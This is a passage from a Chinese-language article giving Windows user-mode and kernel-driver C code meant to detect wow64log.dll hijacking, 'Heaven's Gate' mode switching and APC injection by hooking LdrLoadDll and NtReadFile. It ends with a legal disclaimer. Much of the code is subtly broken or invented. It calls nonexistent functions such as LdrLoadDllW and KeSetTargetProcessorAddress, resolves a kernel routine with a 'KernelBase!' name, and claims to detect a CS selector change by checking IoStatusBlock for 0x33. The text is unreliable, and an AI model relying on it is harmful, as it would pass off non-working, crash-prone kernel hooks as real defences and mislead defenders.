    return LdrLoadDll(lpPathToFile, dwFlags, ModuleFileName, ModuleHandle);
}

// 初始化模块监控
BOOL InitModuleMonitor() {
    // Hook LdrLoadDll函数
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return FALSE;

    PNLDRLOADDLLW pOriginal = (PNLDRLOADDLLW)GetProcAddress(hNtdll, "LdrLoadDllW");
    if (!pOriginal) return FALSE;

    // 使用Microsoft Detours库进行函数Hook
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)pOriginal, LdrLoadDllCallback);
    if (DetourTransactionCommit() != NO_ERROR) {
        return FALSE;
    }
    return TRUE;
}

技术实现说明

  1. 文件完整性监控
  • 通过ETW(事件跟踪Windows)实时监控System32目录的文件创建操作,检测wow64log.dll的异常写入
  • 使用SetEvent触发告警事件,可联动安全产品进行自动处置
  1. 模块加载过滤
  • Hook LdrLoadDllW函数,拦截所有模块加载请求
  • 当检测到wow64log.dll加载时,记录进程信息并输出调试日志

二、天堂之门技术防御代码

#include <ntddk.h>

// 定义关键内核结构
typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    // ... 其他字段
    PVOID ExceptionTable;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

// 全局变量
PVOID g_pOriginalNtReadFile = NULL;

// 自定义NtReadFile函数
NTSTATUS HookedNtReadFile(
    HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    PLARGE_INTEGER ByteOffset,
    PULONG Key
) {
    // 检查CS寄存器是否异常切换
    KIRQL oldIrql;
    KeRaiseIrqlToDpcLevel(&oldIrql);
    if (KeGetPreviousMode() == UserMode && *(PULONG)IoStatusBlock == 0x33) {
        // 触发告警
        KdPrint(("[天堂之门] 检测到模式切换攻击\n"));
        KeLowerIrql(oldIrql);
        return STATUS_ACCESS_VIOLATION;
    }
    KeLowerIrql(oldIrql);

    // 调用原始函数
    return g_pOriginalNtReadFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, Buffer, Length, ByteOffset, Key);
}

// 驱动入口点
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject,
    _In_ PUNICODE_STRING RegistryPath
) {
    // 获取原始NtReadFile地址
    UNICODE_STRING funcName = RTL_CONSTANT_STRING(L"\\KernelBase!NtReadFile");
    g_pOriginalNtReadFile = MmGetSystemRoutineAddress(&funcName);
    if (!g_pOriginalNtReadFile) return STATUS_NOT_FOUND;

    // Hook NtReadFile
    HookFunction((PVOID)g_pOriginalNtReadFile, HookedNtReadFile);

    // 启动监控线程
    KeInitializeThread(&g_KernelThread, KernelMode, NULL);
    KeSetTargetProcessorAddress(&g_KernelThread, 0);
    KeInsertQueueDpc(&g_KernelDpc, NULL, NULL);

    return STATUS_SUCCESS;
}

技术实现说明

  1. 模式切换检测
  • 在NtReadFile回调中检查IoStatusBlock的填充值,若为0x33(64位模式标识)且当前上下文为32位用户模式,则判定为天堂之门攻击
  • 通过KeGetPreviousMode获取调用上下文模式,结合KiUserApcDispatcher的参数特征验证
  1. 内核级Hook
  • 使用MmGetSystemRoutineAddress获取NtReadFile原始地址
  • 通过HookFunction实现函数替换(需自行实现内存写入与校验逻辑)

三、综合防御增强方案

  1. APC注入防御
// 监控线程APC队列
VOID MonitorAPCQueue(HANDLE hThread) {
    NTSTATUS status;
    PETHREAD Thread = (PETHREAD)hThread;
    PAPC apc;
    ULONG count;

    status = PsLookupThreadByThreadId(Thread->ClientId.UniqueThread, &Thread);
    if (!NT_SUCCESS(status)) return;

    status = KeQueryDepthSList(&Thread->ApcQueue, &count);
    if (count > 10) { // 阈值可调整
        KdPrint(("[APC注入] 检测到异常APC队列\n"));
        KeClearEvent(&Thread->ApcQueueEvent);
    }

    ObDereferenceObject(Thread);
}
  1. 混合模式钩子
// 同时监控32位与64位NtReadFile
PVOID g_pOriginalNtReadFile32 = NULL;
PVOID g_pOriginalNtReadFile64 = NULL;

NTSTATUS HookedNtReadFile64(
    // ... 64位参数列表
) {
    // 检测逻辑与HookedNtReadFile类似
}

NTSTATUS HookedNtReadFile32(
    // ... 32位参数列表
) {
    // 调用64位版本实现混合钩子
    return ((PFN_NtReadFile)g_pOriginalNtReadFile64)(
        FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, Buffer, Length, ByteOffset, Key
    );
}

本代码仅供学习、研究、教育或合法用途。开发者明确声明其无意将该代码用于任何违法、犯罪或违反道德规范的行为。任何个人或组织在使用本代码时,需自行确保其行为符合所在国家或地区的法律法规。

开发者对任何因直接或间接使用该代码而导致的法律责任、经济损失或其他后果概不负责。使用者需自行承担因使用本代码产生的全部风险和责任。请勿将本代码用于任何违反法律、侵犯他人权益或破坏公共秩序的活动。